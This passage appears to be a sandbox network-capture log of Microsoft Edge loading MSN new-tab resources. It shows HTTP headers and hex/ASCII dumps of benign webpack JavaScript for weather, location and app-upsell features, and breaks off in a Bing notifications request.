3:[5,1],C2:[7,2],C1:[13,1]}},{grid_area:"slot8",layouts:{C5:s.Nv._1x_1y,C4:s.Nv._1x_2y,C3:s.Nv._1x_2y,C2:s.Nv._1x_2y,C1:s.Nv._1x_2y},cardDomOrder:{C5:9,C4:7,C3:5,C2:9,C1:8},telemetryRowCol:{C5:[3,4],C4:[3,4],C3:[3,3],C2:[9,2],C1:[15,1]}},{grid_area:"slot9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	49887	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	637	OUT	GET /bundles/v1/edgeChromium/latest/mobile-app-upsell.b15413e73bafe92e0855.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1153	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: iOpgtTfNzefkrkBSvZrP2Q== Last-Modified: Wed, 17 Apr 2024 19:30:47 GMT ETag: 0x8DC5F14E244CBD8 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: c14fcb33-901e-009a-26fd-9083dc000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Content-Length: 8778 Connection: close Akamai-Request-BC: [a=23.11.231.159,b=402748355,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180173c3 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.180173c3 Vary: Origin
2024-04-23 21:02:25 UTC	8778	IN	Data Raw: 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6d 6f 62 69 6c 65 2d 61 70 70 2d 75 70 73 65 6c 6c 22 5d 2c 7b 36 38 32 38 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6f 29 7b 6f 2e 72 28 74 29 2c 6f 2e 64 28 74 2c 7b 4d 6f 62 69 6c 65 41 70 70 55 70 73 65 6c 6c 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 76 7d 2c 4d 6f 62 69 6c 65 41 70 70 55 70 73 65 6c 6c 53 74 79 6c 65 73 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 48 7d 2c 4d 6f 62 Data Ascii: "use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["mobile-app-upsell"],{68289:function(e,t,o){o.r(t),o.d(t,{MobileAppUpsell:function(){return v},MobileAppUpsellStyles:function(){return H},Mob

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	49888	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	720	OUT	GET /bundles/v1/edgeChromium/latest/libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d085cf.36490bde8dc8dec85933.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: uJ+Z/9VRwpwUu8FlxfYbQA== Last-Modified: Fri, 19 Apr 2024 19:35:48 GMT ETag: 0x8DC60A7EA67EBD4 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 396d78ec-701e-00a8-7490-92f4c9000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402748389,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=106, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180173e5 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.180173e5 Vary: Origin
2024-04-23 21:02:25 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 6c 69 62 73 5f 6c 6f 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 5f 64 69 73 74 5f 41 75 74 6f 53 75 67 67 65 73 74 53 65 72 76 69 63 65 5f 69 6e 64 65 78 5f 6a 73 2d 6c 69 62 73 5f 6c 6f 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 5f 64 69 73 74 5f 70 72 6f 66 69 6c 65 73 5f 57 65 2d 64 30 38 35 63 66 22 5d 2c 7b 39 31 37 36 39 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 69 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 69 2e 64 28 Data Ascii: 00006000(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["libs_location-service_dist_AutoSuggestService_index_js-libs_location-service_dist_profiles_We-d085cf"],{91769:function(e,t,i){"use strict";i.d(
2024-04-23 21:02:25 UTC	9395	IN	Data Raw: 2c 6e 3d 6e 75 6c 6c 3d 3d 3d 28 74 3d 65 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6c 6f 63 61 74 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 74 3f 76 6f 69 64 20 30 3a 74 2e 6c 61 74 69 74 75 64 65 2c 72 3d 6e 75 6c 6c 3d 3d 3d 28 69 3d 65 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6c 6f 63 61 74 69 6f 6e 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 69 3f 76 6f 69 64 20 30 3a 69 2e 6c 6f 6e 67 69 74 75 64 65 2c 6c 3d 7b 6c 61 6e 67 75 61 67 65 3a 6f 2e 41 6c 2e 4c 6f 63 61 6c 65 2c 61 64 64 72 65 73 73 4c 69 6e 65 3a 65 2e 73 75 67 67 65 73 74 69 6f 6e 2e 6e 61 6d 65 7c 7c 28 6e 75 6c 6c 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 73 74 72 65 65 74 41 64 64 72 65 73 73 29 7c 7c 28 6e 75 6c 6c 3d 3d 61 3f 76 6f 69 64 20 30 3a 61 2e 70 6f 73 74 61 6c 43 6f 64 65 29 2c 6c 6f 63 61 Data Ascii: ,n=null===(t=e.suggestion.location)\|\|void 0===t?void 0:t.latitude,r=null===(i=e.suggestion.location)\|\|void 0===i?void 0:i.longitude,l={language:o.Al.Locale,addressLine:e.suggestion.name\|\|(null==a?void 0:a.streetAddress)\|\|(null==a?void 0:a.postalCode),loca
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 72 73 65 55 73 65 72 50 72 6f 66 69 6c 65 46 72 6f 6d 50 64 70 44 61 74 61 28 61 29 7d 63 61 74 63 68 28 65 29 7b 28 30 2c 68 2e 4f 4f 29 28 65 2c 70 2e 41 59 54 2c 22 65 72 72 6f 72 20 69 6e 20 6c 69 62 72 61 72 79 20 5b 6c 6f 63 61 74 69 6f 6e 2d 73 65 72 76 69 63 65 5d 2c 57 65 61 74 68 65 72 20 50 72 6f 66 69 6c 65 20 55 73 65 72 20 52 65 61 64 20 46 61 69 6c 65 64 22 29 7d 72 65 74 75 72 6e 20 69 7c 7c 7b 7d 7d 69 73 57 65 61 74 68 65 72 41 6e 64 4c 69 6e 6b 65 64 28 29 7b 69 66 28 21 74 68 69 73 2e 77 72 69 74 65 54 6f 41 41 44 29 72 65 74 75 72 6e 21 31 3b 72 65 74 75 72 6e 22 77 65 61 74 68 65 72 22 3d 3d 3d 28 28 30 2c 61 2e 59 71 29 28 29 7c 7c 7b 7d 29 2e 41 70 70 54 79 70 65 26 26 28 30 2c 77 2e 78 51 29 28 29 3d Data Ascii: 00006000rseUserProfileFromPdpData(a)}catch(e){(0,h.OO)(e,p.AYT,"error in library [location-service],Weather Profile User Read Failed")}return i\|\|{}}isWeatherAndLinked(){if(!this.writeToAAD)return!1;return"weather"===((0,a.Yq)()\|\|{}).AppType&&(0,w.xQ)()=
2024-04-23 21:02:25 UTC	8204	IN	Data Raw: 28 29 3f 28 65 2e 69 6e 64 65 78 4f 66 28 22 61 73 73 65 74 73 2e 6d 73 6e 2e 22 29 3e 3d 30 3f 28 74 2e 69 6e 64 65 78 4f 66 28 22 73 65 72 76 69 63 65 2f 22 29 3c 30 26 26 28 74 3d 22 73 65 72 76 69 63 65 2f 22 2b 74 29 2c 22 7a 68 2d 63 6e 22 3d 3d 3d 69 26 26 28 65 3d 65 2e 72 65 70 6c 61 63 65 28 22 2e 6d 73 6e 2e 63 6f 6d 22 2c 22 2e 6d 73 6e 2e 63 6e 22 29 29 29 3a 74 3d 74 2e 72 65 70 6c 61 63 65 28 22 73 65 72 76 69 63 65 2f 22 2c 22 22 29 2c 6e 65 77 20 55 52 4c 28 74 2c 65 29 29 3a 28 65 3d 6b 2c 74 3d 74 2e 72 65 70 6c 61 63 65 28 22 73 65 72 76 69 63 65 2f 22 2c 22 22 29 2c 6e 65 77 20 55 52 4c 28 74 2c 65 29 29 7d 66 75 6e 63 74 69 6f 6e 20 24 28 65 2c 74 2c 69 29 7b 72 65 74 75 72 6e 20 74 2e 77 65 61 74 68 65 72 41 70 69 3f 6e 65 77 20 50 Data Ascii: ()?(e.indexOf("assets.msn.")>=0?(t.indexOf("service/")<0&&(t="service/"+t),"zh-cn"===i&&(e=e.replace(".msn.com",".msn.cn"))):t=t.replace("service/",""),new URL(t,e)):(e=k,t=t.replace("service/",""),new URL(t,e))}function $(e,t,i){return t.weatherApi?new P
2024-04-23 21:02:25 UTC	607	IN	Data Raw: 30 30 30 30 30 32 35 33 0d 0a 28 7b 6f 6b 3a 21 30 2c 6a 73 6f 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 50 72 6f 6d 69 73 65 2e 72 65 73 6f 6c 76 65 28 65 29 7d 7d 29 2c 75 26 26 63 6c 65 61 72 54 69 6d 65 6f 75 74 28 75 29 2c 73 28 67 29 2c 6e 28 64 29 7d 2c 6f 2b 3d 2d 31 3d 3d 3d 6f 2e 69 6e 64 65 78 4f 66 28 22 3f 22 29 3f 22 3f 22 3a 22 26 22 3b 76 61 72 20 68 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 73 63 72 69 70 74 22 29 3b 68 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 73 72 63 22 2c 22 22 2b 6f 2b 6c 2b 22 3d 22 2b 64 29 2c 74 2e 63 68 61 72 73 65 74 26 26 68 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 63 68 61 72 73 65 74 22 2c 74 2e 63 68 61 72 73 65 74 29 2c 68 2e 69 64 3d 67 2c 64 6f 63 Data Ascii: 00000253({ok:!0,json:function(){return Promise.resolve(e)}}),u&&clearTimeout(u),s(g),n(d)},o+=-1===o.indexOf("?")?"?":"&";var h=document.createElement("script");h.setAttribute("src",""+o+l+"="+d),t.charset&&h.setAttribute("charset",t.charset),h.id=g,doc
2024-04-23 21:02:25 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	49890	23.11.231.163	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	647	OUT	GET /bundles/v1/edgeChromium/latest/weather-card-data-connector.b0240aa589a42dc6a0bc.js HTTP/1.1 Host: assets.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://ntp.msn.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-04-23 21:02:25 UTC	1191	IN	HTTP/1.1 200 OK Content-Type: application/javascript Content-MD5: jjXbi7fBIv+y6L1i3d7Ojg== Last-Modified: Fri, 19 Apr 2024 19:35:49 GMT ETag: 0x8DC60A7EB17FF51 Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0 x-ms-request-id: 5a46b29b-f01e-0070-3790-9298be000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Date: Tue, 23 Apr 2024 21:02:25 GMT Transfer-Encoding: chunked Connection: close Connection: Transfer-Encoding Akamai-Request-BC: [a=23.11.231.159,b=402748401,c=g,n=US_GA_ATLANTA,o=20940] Server-Timing: clientrtt; dur=105, clienttt; dur=0, origin; dur=0 , cdntime; dur=0 Akamai-Cache-Status: Hit from child Akamai-Server-IP: 23.11.231.159 Akamai-Request-ID: 180173f1 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://deff.nelreports.net/api/report?cat=msn"}]} nel: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":0.1} Cache-Control: public, no-transform, max-age=31535892 Timing-Allow-Origin: * Akamai-GRN: 0.9fe70b17.1713906145.180173f1 Vary: Origin
2024-04-23 21:02:25 UTC	15193	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 3d 73 65 6c 66 2e 77 65 62 70 61 63 6b 43 68 75 6e 6b 5f 6d 73 6e 65 77 73 5f 6d 73 6e 65 77 73 5f 65 78 70 65 72 69 65 6e 63 65 73 7c 7c 5b 5d 29 2e 70 75 73 68 28 5b 5b 22 77 65 61 74 68 65 72 2d 63 61 72 64 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 22 5d 2c 7b 38 36 33 31 33 3a 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 6e 29 7b 6e 2e 72 28 74 29 2c 6e 2e 64 28 74 2c 7b 54 6f 6f 6c 69 6e 67 49 6e 66 6f 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 45 7d 2c 57 65 61 74 68 65 72 43 61 72 64 44 61 74 61 41 63 74 69 6f 6e 73 3a 66 75 6e 63 74 69 6f Data Ascii: 00006000"use strict";(self.webpackChunk_msnews_msnews_experiences=self.webpackChunk_msnews_msnews_experiences\|\|[]).push([["weather-card-data-connector"],{86313:function(e,t,n){n.r(t),n.d(t,{ToolingInfo:function(){return E},WeatherCardDataActions:functio
2024-04-23 21:02:25 UTC	9395	IN	Data Raw: 77 65 61 74 68 65 72 2d 63 61 72 64 2d 64 61 74 61 2d 63 6f 6e 6e 65 63 74 6f 72 5d 2c 46 61 69 6c 75 72 65 20 74 6f 20 70 61 72 73 65 20 77 65 61 74 68 65 72 20 72 65 73 70 6f 6e 73 65 22 29 2c 21 31 7d 7d 61 73 79 6e 63 20 67 65 74 57 65 61 74 68 65 72 46 6f 72 65 63 61 73 74 44 61 74 61 28 65 2c 74 2c 6e 29 7b 76 61 72 20 69 2c 72 3b 69 66 28 21 28 30 2c 75 2e 4a 59 29 28 65 29 29 72 65 74 75 72 6e 28 30 2c 43 2e 48 29 28 41 2e 4f 50 69 2c 22 4e 6f 20 76 61 6c 69 64 20 55 73 65 72 20 6c 6f 63 61 74 69 6f 6e 20 73 65 74 22 29 2c 21 31 3b 63 6f 6e 73 74 20 61 3d 61 77 61 69 74 20 74 68 69 73 2e 67 65 74 57 65 61 74 68 65 72 28 65 2c 74 2c 6e 29 3b 69 66 28 21 61 29 72 65 74 75 72 6e 21 31 3b 63 6f 6e 73 74 20 73 3d 61 2e 66 6f 72 65 63 61 73 74 2c 64 3d Data Ascii: weather-card-data-connector],Failure to parse weather response"),!1}}async getWeatherForecastData(e,t,n){var i,r;if(!(0,u.JY)(e))return(0,C.H)(A.OPi,"No valid User location set"),!1;const a=await this.getWeather(e,t,n);if(!a)return!1;const s=a.forecast,d=
2024-04-23 21:02:25 UTC	16384	IN	Data Raw: 30 30 30 30 36 30 30 30 0d 0a 74 6f 3a 22 68 75 6d 69 64 69 74 79 4c 6f 77 22 2c 74 72 61 6e 73 3a 65 3d 3e 60 24 7b 65 7d 60 7d 2c 7b 66 72 6f 6d 3a 22 72 68 48 69 22 2c 74 6f 3a 22 68 75 6d 69 64 69 74 79 48 69 22 2c 74 72 61 6e 73 3a 65 3d 3e 60 24 7b 65 7d 60 7d 2c 7b 66 72 6f 6d 3a 22 72 68 48 69 22 2c 74 6f 3a 22 68 75 6d 69 64 69 74 79 48 69 22 2c 74 72 61 6e 73 3a 65 3d 3e 60 24 7b 65 7d 60 7d 5d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 65 29 7b 72 65 74 75 72 6e 28 30 2c 72 2e 4e 29 28 6c 2c 75 2c 64 29 28 65 29 7d 63 6f 6e 73 74 20 66 3d 5b 22 63 61 70 22 2c 22 72 68 22 2c 22 73 79 6d 62 6f 6c 22 2c 22 69 63 6f 6e 22 2c 22 66 65 65 6c 73 22 2c 22 70 76 64 72 49 63 6f 6e 22 2c 22 77 69 6e 64 44 69 72 22 2c 22 70 76 64 72 57 69 6e 64 53 70 64 22 2c 22 Data Ascii: 00006000to:"humidityLow",trans:e=>`${e}`},{from:"rhHi",to:"humidityHi",trans:e=>`${e}`},{from:"rhHi",to:"humidityHi",trans:e=>`${e}`}];function h(e){return(0,r.N)(l,u,d)(e)}const f=["cap","rh","symbol","icon","feels","pvdrIcon","windDir","pvdrWindSpd","
2024-04-23 21:02:25 UTC	8204	IN	Data Raw: 22 2c 41 53 3a 22 61 69 72 71 75 61 6c 69 74 79 73 74 61 74 69 6f 6e 22 7d 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 2c 74 2c 6e 2c 6f 2c 61 29 7b 76 61 72 20 73 2c 63 3b 69 66 28 6e 75 6c 6c 3d 3d 3d 28 73 3d 65 2e 61 6c 65 72 74 73 49 6e 66 6f 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 73 7c 7c 21 73 2e 63 72 65 61 74 65 64 7c 7c 6e 75 6c 6c 3d 3d 3d 28 63 3d 65 2e 73 6f 75 72 63 65 29 7c 7c 76 6f 69 64 20 30 3d 3d 3d 63 7c 7c 21 63 2e 6c 6f 63 61 74 69 6f 6e 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 74 72 79 7b 63 6f 6e 73 74 20 73 3d 65 2e 73 6f 75 72 63 65 2e 6c 6f 63 61 74 69 6f 6e 2e 54 69 6d 65 7a 6f 6e 65 4e 61 6d 65 2c 63 3d 6e 65 77 20 72 2e 51 28 69 2e 41 6c 2e 4c 6f 63 61 6c 65 2c 73 29 2c 6c 3d 65 2e 61 6c 65 72 74 73 49 6e 66 6f 2e 73 74 61 72 74 2c 75 Data Ascii: ",AS:"airqualitystation"};function a(e,t,n,o,a){var s,c;if(null===(s=e.alertsInfo)\|\|void 0===s\|\|!s.created\|\|null===(c=e.source)\|\|void 0===c\|\|!c.location)return null;try{const s=e.source.location.TimezoneName,c=new r.Q(i.Al.Locale,s),l=e.alertsInfo.start,u
2024-04-23 21:02:25 UTC	2521	IN	Data Raw: 30 30 30 30 30 39 43 44 0d 0a 6f 7a 61 22 7d 2c 6d 61 70 73 3a 7b 63 73 3a 22 6d 61 70 79 22 2c 64 61 3a 22 6b 6f 72 74 22 2c 64 65 3a 22 6b 61 72 74 65 6e 22 2c 65 73 3a 22 6d 61 70 61 73 22 2c 66 69 3a 22 6b 61 72 74 61 74 22 2c 66 72 3a 22 63 61 72 74 65 73 22 2c 69 64 3a 22 70 65 74 61 22 2c 69 74 3a 22 6d 61 70 70 65 22 2c 6e 62 3a 22 6b 61 72 74 22 2c 6e 6c 3a 22 6b 61 61 72 74 65 6e 22 2c 70 6c 3a 22 6d 61 70 79 2d 70 6f 67 6f 64 79 22 2c 70 74 3a 22 6d 61 70 61 73 22 2c 73 76 3a 22 76 61 64 65 72 6b 61 72 74 6f 72 22 2c 74 72 3a 22 68 61 72 69 74 61 6c 61 72 22 7d 2c 6d 6f 6e 74 68 6c 79 66 6f 72 65 63 61 73 74 3a 7b 64 61 3a 22 6d 61 6e 65 64 6c 69 67 70 72 6f 67 6e 6f 73 65 22 2c 64 65 3a 22 6d 6f 6e 61 74 6c 69 63 68 65 70 72 6f 67 6e 6f 73 65 Data Ascii: 000009CDoza"},maps:{cs:"mapy",da:"kort",de:"karten",es:"mapas",fi:"kartat",fr:"cartes",id:"peta",it:"mappe",nb:"kart",nl:"kaarten",pl:"mapy-pogody",pt:"mapas",sv:"vaderkartor",tr:"haritalar"},monthlyforecast:{da:"manedligprognose",de:"monatlicheprognose
2024-04-23 21:02:25 UTC	2005	IN	Data Raw: 30 30 30 30 30 37 43 39 0d 0a 64 22 2c 6e 62 3a 61 2c 73 76 3a 61 2c 6e 6c 3a 22 7a 69 63 68 74 22 7d 2c 64 65 77 70 6f 69 6e 74 3a 7b 63 73 3a 22 72 6f 73 6e 79 62 6f 64 22 2c 64 61 3a 22 64 75 67 70 75 6e 6b 74 22 2c 64 65 3a 22 74 61 75 70 75 6e 6b 74 22 2c 66 69 3a 22 6b 61 73 74 65 70 69 73 74 65 22 2c 6e 62 3a 22 64 75 67 67 70 75 6e 6b 74 22 2c 6e 6c 3a 22 64 61 75 77 70 75 6e 74 22 7d 2c 77 69 6e 74 65 72 73 74 6f 72 6d 3a 7b 63 73 3a 22 7a 69 6d 6e 69 62 6f 75 72 65 22 7d 2c 61 69 72 71 75 61 6c 69 74 79 3a 7b 66 69 3a 22 69 6c 6d 61 6e 6c 61 61 74 75 22 2c 66 72 3a 22 71 75 61 6c 69 74 65 61 69 72 22 7d 2c 73 6e 6f 77 64 65 70 74 68 3a 7b 63 73 3a 22 76 79 73 6b 61 73 6e 65 68 75 22 2c 6e 62 3a 22 73 6e 6f 64 79 62 64 65 22 2c 70 74 3a 22 61 6c Data Ascii: 000007C9d",nb:a,sv:a,nl:"zicht"},dewpoint:{cs:"rosnybod",da:"dugpunkt",de:"taupunkt",fi:"kastepiste",nb:"duggpunkt",nl:"dauwpunt"},winterstorm:{cs:"zimniboure"},airquality:{fi:"ilmanlaatu",fr:"qualiteair"},snowdepth:{cs:"vyskasnehu",nb:"snodybde",pt:"al
2024-04-23 21:02:25 UTC	12	IN	Data Raw: 30 30 30 30 30 30 30 30 0d 0a 0d 0a Data Ascii: 00000000

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	49889	131.253.33.200	443	6064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-23 21:02:25 UTC	3715	OUT	GET /bnc/notifications/count?app=anaheim&pageId=ntp HTTP/1.1 Host: www.bing.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-Search-UILang: en-us sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 X-PERSONALBING-FLIGHTS: msnallexpusers,prg-sp-liveapi,prg-cg-homepagec,premms-sc-sc_roer3,prg-c-arb-rsz,1s-wpo-vsocc,prg-sriver-wpo,ads-prec-fix,sid-finalval,sidamo-flr-stage-2,preshp-xap-prod,prg-1sw-sa-annquota14,prg-1sw-sageimterav3i2c,prg-1sw-sacfxevery2-t1,prg-1sw-sa-distillation4-t1,prg-1sw-saerevrfcc,traffic-1sw-sim,prg-1sw-sim-adapt,prg-cg-ntv-ad-blnd,prg-1sw-p1widinc-2d,1s-wpo-pr1-3colnodem,prg-1sw-p1widinc,1s-tpsn-wapiprg-t,1s-tpsn-wapidestprg,prg-cg-featured-c,traffic-1-lkscinc-t,prg-1sw-lksincstbl,1s-aadp1dynasize,1s-p1-cgtab-r1hp,prg-fin-cdicon,prg-fin-l2tnews1,prg-fin-l2tnews,btrecenus,iframeflex,prg-adspeek,prg-fin-errde,1s-winauthservice,flight0417cf_4,prg-rfrcsmc,prg-pr2-flashrev,btie-fancy-img-c,prg-ad-ai-imgf-c,1s-fcrypt,prg-cookiecont,prg-ctr-pnpc,prg-entpremier-pr2-c,1s-prealgo855,1s-xapentprong2,prg-p2-prmft,prg-pr2-entprem-c,1s-ntf2-exdrc,1s-ntf2-exdr,1s-ntf2-marf5,1s-wpo-pr2-dpucd5,prg-pr2-noreqcap,prg-upsaip-w1-t,prg-upsaip-r-t,prg-vidbuf1,1s-rpssecautht,1s-shp-rc-tc-rmsanc,jj_fac_t,traffic-pr2-cmsev-c,1s-tpsn-wapiprg2-t,1s-tpsn-wapidestprg2,prg-cg-cmga,prg-cg-cmgroupa,prg-pr2-svganimac,prg-ad-pdedupe-c,prg-unified-p2,1s-p2-promotedondmd,1s-wpo-pr2-promad,prg-2unified-uc-t,1s-wpo-pr2-sdcginrailt3c,1s-wpo-prg2-ioctrl,1s-wpo-pr2-fsearch,1s-defaultscn,prg-1sw-pde0,1s-defaultscnw,prg-csacclink-c,1s-notifmapping,1s-shp-rc-t-v7np350,1s-shp-rc-t2-v7_2addneg,1s-shp-rc-t3-v7np350,1s-shp-rc-te-v7_2addneg,prg-sh-lowinv1,prg-sh-lowinv,prg-1sw-srdus,prg-cg-notf2,prg-cg-notf,prg-sh-dealsdaypdp,1s-xapbnze,prg-sh-rmitmlnk,nopinglancecardit,prg-chnl-umf-follow,prg-cg-ingames-ct,prg-sh-recopdp,prg-sh-bd-newbanner,mktautosqor,prg-1sw-rr2fn,prg-1sw-rr2fp,prg-strrtng-g1,prg-cg-c-hb,prg-ugc-likechange,prg-1sw-wxmptreplace,prg-1s-wpocfpc,ads-oshkpstgt-c,prg-pr2-sidebar-5-t,1s-sl-halfucards,prg-pr2-pagecontext,prg-pr2-shoreline,prg-pr2-sidebar,prg-sh-bd-newchckot,prg-sh-bd-nwchk,msph-tdinmsph,prg-sh-bd-disgb-c,msph-feedinternal,nonmobile-t,revprmres,1s-temp-wid-t,p